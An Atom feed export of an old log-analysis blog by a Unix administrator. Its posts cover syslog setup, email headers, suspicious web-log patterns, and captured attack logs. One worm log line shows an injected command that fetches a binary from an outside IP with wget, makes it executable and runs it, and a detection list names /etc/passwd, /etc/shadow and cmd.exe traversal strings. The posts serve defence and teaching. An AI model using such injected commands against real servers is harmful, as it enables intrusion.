<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-19719234</id><updated>2012-01-13T22:29:36.265-08:00</updated><title type='text'>Loganalysis - Analyze apache, syslog, event log, registry, firewall logs, squid, cisco</title><subtitle type='html'>Guide to loganalyzing methods and tools in Unix/Linux, Microsoft Windows and Firewall environments. Syslog, Syslog-ng, Event Log, The Registry, PIX Firewall, Checkpoint Firewall, Netgear Routers, MySQL, Oracle, RHES 4, RHES 5, MacOS, Windows 2003, Vista, Extreme, JBoss, Java, Perl, Python, ASP, Visual, SuSE, Enterprise, SAP, Lotus, Exchange, SMTP, POP, Weblogic, TNS, 1521</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>19</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-19719234.post-2349515395376164313</id><published>2007-01-11T12:21:00.000-08:00</published><updated>2007-01-11T12:29:32.866-08:00</updated><title type='text'>More log analysis posts to come</title><content type='html'>After a long break, I will be posting more about log analysis here again. Hopefully some readers will find my postings about analyzing logs useful. Next up will be ethereal, &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;tcpdump&lt;/span&gt; and some other network packet capturing tools. Analyzing network &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-corrected" id="SPELLING_ERROR_1"&gt;traffic&lt;/span&gt; can be a &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-corrected" id="SPELLING_ERROR_2"&gt;hand full&lt;/span&gt;, but there are some great tools and scripts out there to help us. With ethereal you can do pretty much everything with your collected network data logs. Lot's of handy filters and custom made colouring of different types of protocols makes it very readable. So stay tuned if you are in to logs.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-2349515395376164313?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/2349515395376164313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=2349515395376164313' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/2349515395376164313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/2349515395376164313'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2007/01/more-log-analysis-posts-to-come.html' title='More log analysis posts to come'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-114599257631492582</id><published>2006-04-25T11:58:00.000-07:00</published><updated>2006-11-05T08:32:27.396-08:00</updated><title type='text'>Web Server Log Analysis</title><content type='html'>Tracking down malicious activity in Web server log files is rather easy, if you have configured your web server correctly. Meaning that you have configured your web server to audit web server traffic, such as ip address, date, kind of http request and what page your webserver have served etc. If you have any experience in setting up an apache server, you should have seen appropriate logs your /var directory. The directory for the logs differs from OS and distributions of course.&lt;br /&gt;&lt;br /&gt;What to look for?&lt;br /&gt;&lt;br /&gt;Suspicious entries to be found examples.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;' Single Ticks is used in SQL injection attacks.&lt;br /&gt;../ Directory Traversal. Different Encodings.&lt;br /&gt;..&lt;br /&gt;/etc/passwd&lt;br /&gt;/etc/shadow is nothing you want to see a 200 request on. 200 means successfull GET request.&lt;br /&gt;&lt;br /&gt;All kinds of shell paths.&lt;br /&gt;&lt;br /&gt;/bin/ksh&lt;br /&gt;/bin/bash&lt;br /&gt;/bin/id&lt;br /&gt;/bin/cat&lt;br /&gt;&lt;br /&gt;On Windows&lt;br /&gt;&lt;br /&gt;msadc/.%c0%af&lt;br /&gt;scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir&lt;br /&gt;cmd.exe&lt;br /&gt;net.exe&lt;br /&gt;netstat.exe&lt;br /&gt;&lt;br /&gt;| pipes, semicolons&lt;br /&gt;&lt; &lt;br /&gt;;&lt;br /&gt;&lt;br /&gt;ASCII control characters&lt;br /&gt;&lt;br /&gt;%00&lt;br /&gt;%0d&lt;br /&gt;%7f&lt;br /&gt;%ff&lt;br /&gt;&lt;br /&gt;Lot's of 404 or 500 responses from your webserver might indicate a vulnerability&lt;br /&gt;scan of your server.&lt;br /&gt;&lt;br /&gt;Buffer Overflow Attempts. Anti-IDS method&lt;br /&gt;Repeated Characters,&lt;br /&gt;CCC...CCCCC&lt;br /&gt;&lt;br /&gt;From here you can use grep, perl, python or shell scripts to process the information in your logs.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-114599257631492582?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/114599257631492582/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=114599257631492582' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/114599257631492582'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/114599257631492582'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2006/04/web-server-log-analysis.html' title='Web Server Log Analysis'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-114597416326621488</id><published>2006-04-25T07:07:00.000-07:00</published><updated>2006-11-05T08:32:27.333-08:00</updated><title type='text'>Syslog, Setting Up Your Own Syslog Server</title><content type='html'>A simple guide to setup you own Syslog Server.&lt;br /&gt;&lt;br /&gt;Building your own Syslog Environment.&lt;br /&gt;&lt;br /&gt;Ever wanted to collect those local system logs to one&lt;br /&gt;place? Setting up your Unix/Linux/Windows Machines to log&lt;br /&gt;to one dedicated Syslog server is actually very easy.&lt;br /&gt;&lt;br /&gt;#### Setting up the Syslog Server. ####&lt;br /&gt;&lt;br /&gt;First out, you will need simple machine, preferably running&lt;br /&gt;some Unix dialect, with Syslog or Syslog-Ng installed. &lt;br /&gt;&lt;br /&gt;The Syslog daemon is most likely running on your system already,&lt;br /&gt;but to make sure, check for it's presence with a ps -ef| grep syslogd&lt;br /&gt;&lt;br /&gt;# ps -ef | grep syslogd&lt;br /&gt;root      2153     1  0 Apr19 ?        00:00:00 syslogd -m 0&lt;br /&gt;salt     15126 15125  0 15:29 pts/0    00:00:00 /bin/bash -c ps -ef| grep syslogd&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# If syslogd is running, you and you want to be able to receive log messages from&lt;br /&gt;the network, you will have to run syslogd with the -r option. Edit the /etc/sysconfig/syslog&lt;br /&gt;file to make the changes permanent.&lt;br /&gt;&lt;br /&gt;# vi /etc/sysconfig/syslog&lt;br /&gt;&lt;br /&gt;---syslog------------------&lt;br /&gt;# Options to syslogd&lt;br /&gt;# -m 0 disables 'MARK' messages.&lt;br /&gt;# -r enables logging from remote machines&lt;br /&gt;# -x disables DNS lookups on messages recieved with -r&lt;br /&gt;# See syslogd(8) for more details&lt;br /&gt;SYSLOGD_OPTIONS="-m 0 -r"&lt;br /&gt;# Options to klogd&lt;br /&gt;# -2 prints all kernel oops messages twice; once for klogd to decode, and&lt;br /&gt;#    once for processing with 'ksymoops'&lt;br /&gt;# -x disables all klogd processing of oops messages entirely&lt;br /&gt;# See klogd(8) for more details&lt;br /&gt;KLOGD_OPTIONS="-x"&lt;br /&gt;&lt;br /&gt;---syslog-file---------------&lt;br /&gt;&lt;br /&gt;Add the -r option on line 6 after SYSLOGD_OPTIONS="-m 0" so it says SYSLOGD_OPTIONS="-m 0 -r"&lt;br /&gt;Restart your syslog server.&lt;br /&gt;&lt;br /&gt;# /etc/init.d/syslogd restart&lt;br /&gt;&lt;br /&gt;Your systems should now be able to collect those network logs.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#### Edit your Client to send logdata to the Syslog server ####&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After checking for syslogd, edit the syslog.conf file, under /etc/syslog.conf&lt;br /&gt;Just add @syslogserver &lt;-- after *.* for example and restart your syslogd daemon.&lt;br /&gt;Don't bother about the wildcard *.* for now, you can tune that later on.&lt;br /&gt;&lt;br /&gt;Now as user root.&lt;br /&gt;&lt;br /&gt;# vi  /etc/syslog.conf &lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------------------&lt;br /&gt;# Log all kernel messages to the console.&lt;br /&gt;# Logging much else clutters up the screen.&lt;br /&gt;kern.*                                                 /dev/console&lt;br /&gt;&lt;br /&gt;# Log anything (except mail) of level info or higher.&lt;br /&gt;# Don't log private authentication messages!&lt;br /&gt;# *.info;mail.none;authpriv.none;cron.none              /var/log/messages&lt;br /&gt;*.*                                                     @syslogserver  &lt;-- EDIT Rec SYSLOGSERVER ADDRESS&lt;br /&gt;&lt;br /&gt;# The authpriv file has restricted access.&lt;br /&gt;authpriv.*                                              /var/log/secure&lt;br /&gt;&lt;br /&gt;# Log all the mail messages in one place.&lt;br /&gt;mail.*                                                  -/var/log/maillog&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# Log cron stuff&lt;br /&gt;cron.*                                                  /var/log/cron&lt;br /&gt;&lt;br /&gt;# Everybody gets emergency messages&lt;br /&gt;*.emerg                                                 *&lt;br /&gt;&lt;br /&gt;# Save news errors of level crit and higher in a special file.&lt;br /&gt;uucp,news.crit                                          /var/log/spooler&lt;br /&gt;&lt;br /&gt;# Save boot messages also to boot.log&lt;br /&gt;local7.*                                                /var/log/boot.log&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;After adding *.* at and @syslogserver to line 7, see what kind of logs I get.&lt;br /&gt;But don't forget to restart your syslog daemon first. It will need to re-read&lt;br /&gt;your syslog.conf file.&lt;br /&gt;&lt;br /&gt;# /etc/init.d/syslogd restart&lt;br /&gt;&lt;br /&gt;You should now be able to see incoming logdata on your syslogserver.&lt;br /&gt;# tail -f /var/log/messages&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-114597416326621488?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/114597416326621488/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=114597416326621488' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/114597416326621488'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/114597416326621488'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2006/04/syslog-setting-up-your-own-syslog.html' title='Syslog, Setting Up Your Own Syslog Server'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-114193945648615513</id><published>2006-03-09T13:23:00.000-08:00</published><updated>2006-11-05T08:32:27.020-08:00</updated><title type='text'>Buffer Overflow attempt fp30reg.dll apache log. Old Hack, same logs</title><content type='html'>During my years as an Unix System administrator, I have had my share of logs, and&lt;br /&gt;log analysis. Especially from staring at webservers and mail servers log entries.&lt;br /&gt;These poor server are usually in a DMZ or at the front of the line, right before&lt;br /&gt;internet, and total exposure to 0.0.0.0/0.&lt;br /&gt;&lt;br /&gt;Of all the logs you go through, most of them contain ordinary GET /something request,&lt;br /&gt;with webserver reply of 202.So when you see a SEARCH in your access logs, you kind&lt;br /&gt;of raise an eyebrow. This log shows an automated, from an infected host.&lt;br /&gt;&lt;br /&gt;The attack code, (a buffer overflow in this and many other cases) has the&lt;br /&gt;purpose to do the "break in". The xc9 are NOPs, (no operation) Attempts to&lt;br /&gt;overflow the fp30reg.dll.&lt;br /&gt;&lt;br /&gt;What's most scary about this attack, is that it's still in use, meaning there is&lt;br /&gt;vulnerable systems out there, even though the vulnerability was announced as&lt;br /&gt;Critical by Mircosoft back in Nov 2003!! Only G*d knows how long the black hats&lt;br /&gt;have had the code before Mircosoft.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;c-c8dbe253.02-11-73746f2.sed.awk.away.com [09/Mar/2006:16:54:38 +0100]&lt;br /&gt;"SEARCH\x90\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9&lt;br /&gt;xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9xc9&lt;br /&gt;\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9xc9\xc9&lt;br /&gt;\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9&lt;br /&gt;&lt;br /&gt;414 339 "-" "-"&lt;br /&gt;c-c8dbe253.02-11-73746f2.sed.awk.away.com - - [09/Mar/2006:16:54:38 +0100]&lt;br /&gt;"GET / HTTP/1.0" 200 251213 "-" "-"&lt;br /&gt;c-c8dbe253.02-11-73746f2.sed.awk.away.com - - [09/Mar/2006:16:55:09 +0100]&lt;br /&gt;"POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1" 404 316 "-" "-"&lt;br /&gt;&lt;br /&gt;This attack code is trying to exploit, with a buffer overflow, a known vulnerability&lt;br /&gt;in Microsoft IIS running Frontpage extensions,&lt;br /&gt;and totally harmless to Unix system running apache.&lt;br /&gt;&lt;br /&gt;http://www.microsoft.com/technet/security/bulletin/MS03-051.mspx&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-114193945648615513?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/114193945648615513/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=114193945648615513' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/114193945648615513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/114193945648615513'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2006/03/buffer-overflow-attempt-fp30regdll.html' title='Buffer Overflow attempt fp30reg.dll apache log. Old Hack, same logs'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-114164920652834587</id><published>2006-03-06T04:46:00.000-08:00</published><updated>2006-11-05T08:32:26.907-08:00</updated><title type='text'>Dissecting Email Headers, Part I</title><content type='html'>This is just to simple little guide. Nothing fancy, I'm not going to dig into all the MTA/SMTP and mail routing,  just show you one example of the traces SMTP traffic leaves behind.&lt;br /&gt;&lt;br /&gt;Have you ever wondered where you can find the source ip address in an email?&lt;br /&gt;Here is a mini howto in dissecting mail headers.&lt;br /&gt;&lt;br /&gt;In Gmail, you can open up the headers by "clicking" at the "More Options" in an opened email, and then&lt;br /&gt;"Show original". This will open up a new browser window, with your email in pure 7-bit ascii.&lt;br /&gt;&lt;br /&gt;Email Headers are like the front of an envelope or back of postcard.&lt;br /&gt;The "stamps" are made by the involved SMTP servers, used in the transmission of the email.&lt;br /&gt;The header show the stamps in the order from the bottom and up.&lt;br /&gt;&lt;br /&gt;Working your way from the bottom (or middle) of the email header towards the top is the path taken to get from t&lt;br /&gt;he source to the destination. Finding the source ip address is usually easy. Just find the field that says X-Ori&lt;br /&gt;ginating-IP or something similar. It sometimes differs from mail servers. There is however a standard for this i&lt;br /&gt;n RFC 822.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-114164920652834587?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/114164920652834587/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=114164920652834587' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/114164920652834587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/114164920652834587'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2006/03/dissecting-email-headers-part-i.html' title='Dissecting Email Headers, Part I'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-114164916394787015</id><published>2006-03-06T04:45:00.000-08:00</published><updated>2006-11-05T08:32:26.847-08:00</updated><title type='text'>Dissecting Email Headers, part II</title><content type='html'>Part II&lt;br /&gt;&lt;br /&gt;Received-SPF: pass (gmail.com: domain of mailsender@hotmail.com designates 64.4.26.47 as permitted sender)&lt;br /&gt;Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;&lt;br /&gt;Sat, 4 Mar 2006 11:20:43 -0800&lt;br /&gt;Message-ID:&lt;br /&gt;Received: from 64.4.26.200 by by112fd.bay112.hotmail.msn.com with HTTP;&lt;br /&gt;Sat, 04 Mar 2006 19:20:40 GMT&lt;br /&gt;X-Originating-IP: [X.236.92.250] &lt;- Senders ip address&lt;br /&gt;X-Originating-Email: [mailsender@hotmail.com]&lt;br /&gt;X-Sender: mailsender@hotmail.com &lt;- Here you could see something like "Outlook, Eudora, Evolution etc)&lt;br /&gt;In-Reply-To: &lt;672b131d0602140745v4f87657au27fe4e2e6d8662e2@mail.gmail.com&gt;&lt;br /&gt;From: "Mail Senderson"&lt;br /&gt;To: my.mailaddress@gmail.com&lt;br /&gt;Bcc:&lt;br /&gt;Subject:SMTP message&lt;br /&gt;Date: Sat, 04 Mar 2006 19:20:40 +0000&lt;br /&gt;Mime-Version: 1.0&lt;br /&gt;Content-Type: text/html; format=flowed&lt;br /&gt;X-OriginalArrivalTime: 04 Mar 2006 19:20:43.0290 (UTC) FILETIME=[BB2877A0:01C63FC0]&lt;br /&gt;&lt;br /&gt;Messages goes here................&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-114164916394787015?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/114164916394787015/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=114164916394787015' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/114164916394787015'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/114164916394787015'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2006/03/dissecting-email-headers-part-ii.html' title='Dissecting Email Headers, part II'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-114164911247261084</id><published>2006-03-06T04:44:00.000-08:00</published><updated>2006-11-05T08:32:26.785-08:00</updated><title type='text'>Dissecting Email Headers, part III</title><content type='html'>Part III&lt;br /&gt;Definitions and Glossary:&lt;br /&gt;&lt;br /&gt;SMTP Simple Mail Transfer Protocol (RFC 822). For transmission of mail across the internet.&lt;br /&gt;MIME Multipurpose Internet Mail Extensions, is an Internet standard specifying message formats for transmissionof different types of data by electronic mail.&lt;br /&gt;&lt;br /&gt;SPF technology was designed to make the sending of spam/virus messages with faked domain names more difficult. It is like "reverse MX" DNS record which identifies a domain name with a server from which this domain sends itsmessages.&lt;br /&gt;&lt;br /&gt;Message ID The unique id every email is provided by the receiving MTA. On Unix systems, usually based on Unix Time.&lt;br /&gt;&lt;br /&gt;MTA Mail Transport/Transfer Agent (SMTP) Mail routing, relaying.&lt;br /&gt;&lt;br /&gt;Ok, so you found the X-Originating-IP. Now what?&lt;br /&gt;Well, if you are curious, you can traceroute the ip address and check the route each packet takes from&lt;br /&gt;the sending email system to the receiving email system. You can do a whois on the ip address to see how owns that particular ip address range. Or if it is an abuse case, you can copy the header an mail it to the senders mail domain for a complaint. The complaint/abuse address should be abuse@domain.com. If this&lt;br /&gt;address bounces, try postmaster@domain.com.&lt;br /&gt;&lt;br /&gt;Remember, if the mail is of the abuse character, you should be aware of that the X-originating ip address most likely is faked/spoofed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-114164911247261084?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/114164911247261084/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=114164911247261084' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/114164911247261084'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/114164911247261084'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2006/03/dissecting-email-headers-part-iii.html' title='Dissecting Email Headers, part III'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-114121537079805708</id><published>2006-03-01T03:15:00.000-08:00</published><updated>2006-11-05T08:32:26.605-08:00</updated><title type='text'>Log analyze xmlrpc xmlsrv 404 requests Linux Worm</title><content type='html'>A not to uncommon log post in my apache access log files. Exploit code has been out in the wild for&lt;br /&gt;quite some time. But the world of security patching is still even with the constant releases of malware.&lt;br /&gt;&lt;br /&gt;This is a no-brainer. Host "infected-server-host" (Changed the ip to protect the innocent), is&lt;br /&gt;running automated scripts (might be manually operated aswell) against possible targets, vulnerable to known xmlsrv, xmlrpc, mambo attacks. First 3 lines shows something interesting.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;infected-server-host - - [23/Feb/2006:03:09:05 +0100] "GET /cvs/mambo/index2.php?_REQUEST[option]=com_content&amp;_REQUEST[Itemid]=1&amp;amp;GLOBALS&lt;br /&gt;=&amp;mosConf&lt;br /&gt;ig_absolute_path=http://XXX.123.16.34/cmd.gif?&amp;amp;amp;amp;amp;amp;amp;amp;cmd=cd%20/tmp;wget&lt;br /&gt;%20XXX.123.16.34/gicumz;chmod%20744%20gicumz;./gicumz;echo%20YYY;echo|  HTTP/1.1&lt;br /&gt;" 404 307 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"&lt;br /&gt;infected-server-host - - [23/Feb/2006:03:09:07 +0100] "POST /xmlrpc.php HTTP/1.1" 404 297 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;&lt;br /&gt;)"&lt;br /&gt;infected-server-host - - [23/Feb/2006:03:09:08 +0100] "POST /blog/xmlrpc.php HTTP/1.1" 404302 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT&lt;br /&gt;5.1;)"&lt;br /&gt;infected-server-host - - [23/Feb/2006:03:09:13 +0100] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 309 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Win&lt;br /&gt;dows NT 5.1;)"&lt;br /&gt;infected-server-host - - [23/Feb/2006:03:09:14 +0100] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Wi&lt;br /&gt;ndows NT 5.1;)"&lt;br /&gt;infected-server-host - - [23/Feb/2006:03:09:16 +0100] "POST /drupal/xmlrpc.php HTTP/1.1" 404 304 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows&lt;br /&gt;NT 5.1;)"&lt;br /&gt;infected-server-host - - [23/Feb/2006:03:09:17 +0100] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Wi&lt;br /&gt;ndows NT 5.1;)"&lt;br /&gt;infected-server-host - - [23/Feb/2006:03:09:19 +0100] "POST /wordpress/xmlrpc.php HTTP/1.1" 404 307 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windo&lt;br /&gt;ws NT 5.1;)"&lt;br /&gt;infected-server-host - - [23/Feb/2006:03:09:21 +0100] "POST /xmlrpc.php HTTP/1.1" 404 297 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;&lt;br /&gt;)"&lt;br /&gt;infected-server-host - - [23/Feb/2006:03:09:22 +0100] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 304 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows&lt;br /&gt;NT 5.1;)"&lt;br /&gt;infected-server-host - - [23/Feb/2006:03:09:23 +0100] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 304 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows&lt;br /&gt;NT 5.1;)"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This worm is also know as &lt;/span&gt;Linux/Lupper.worm.a [McAfee], Linux/Lupper.A [Computer Associates], Linux/Lupper.B [Computer Associates], Backdoor.Linux.Small.al [Kaspersky], Exploit.Linux.Lupii [ClamAV], ELF_LUPPER.A [Trend Micro].&lt;br /&gt;&lt;br /&gt;The worm is trying to use the &lt;span class="title"&gt;XML-RPC for PHP Remote Code Injection Vulnerability.&lt;br /&gt;Vulnerable systems and complete information can be found here&lt;a href="http://www.securityfocus.com/bid/14088/info"&gt; Security Focus&lt;/a&gt;&lt;br /&gt;Xoops, Wordpress, Ubuntu, Red Hat, SuSE.&lt;br /&gt;&lt;br /&gt;Countermeasures: Upgrades are available for most applications that uses the xml-rpc. Check the application official site for upgrades, patches.&lt;br /&gt;&lt;br /&gt;&lt;span class="technoratitag"&gt;Technorati Tags:&lt;br /&gt;&lt;a href="http://www.technorati.com/tags/xmlsrv" target="_blank" rel="tag"&gt;xmlsrv&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/xmlrpc" target="_blank" rel="tag"&gt;xmlrpc&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/php" target="_blank" rel="tag"&gt;php&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/linux+worm" target="_blank" rel="tag"&gt;linux worm&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/vulnerability" target="_blank" rel="tag"&gt;vulnerability&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/countermeasures" target="_blank" rel="tag"&gt;countermeasures&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/exploit" target="_blank" rel="tag"&gt;exploit&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/format+string" target="_blank" rel="tag"&gt;format string&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="delicioustag"&gt;Del.icio.us Tags:&lt;br /&gt;&lt;a href="http://del.icio.us/tags/xmlsrv" target="_blank" rel="tag"&gt;xmlsrv&lt;/a&gt;, &lt;a href="http://del.icio.us/tags/xmlrpc" target="_blank" rel="tag"&gt;xmlrpc&lt;/a&gt;, &lt;a href="http://del.icio.us/tags/php" target="_blank" rel="tag"&gt;php&lt;/a&gt;, &lt;a href="http://del.icio.us/tags/linux+worm" target="_blank" rel="tag"&gt;linux worm&lt;/a&gt;, &lt;a href="http://del.icio.us/tags/vulnerability" target="_blank" rel="tag"&gt;vulnerability&lt;/a&gt;, &lt;a href="http://del.icio.us/tags/countermeasures" target="_blank" rel="tag"&gt;countermeasures&lt;/a&gt;, &lt;a href="http://del.icio.us/tags/exploit" target="_blank" rel="tag"&gt;exploit&lt;/a&gt;, &lt;a 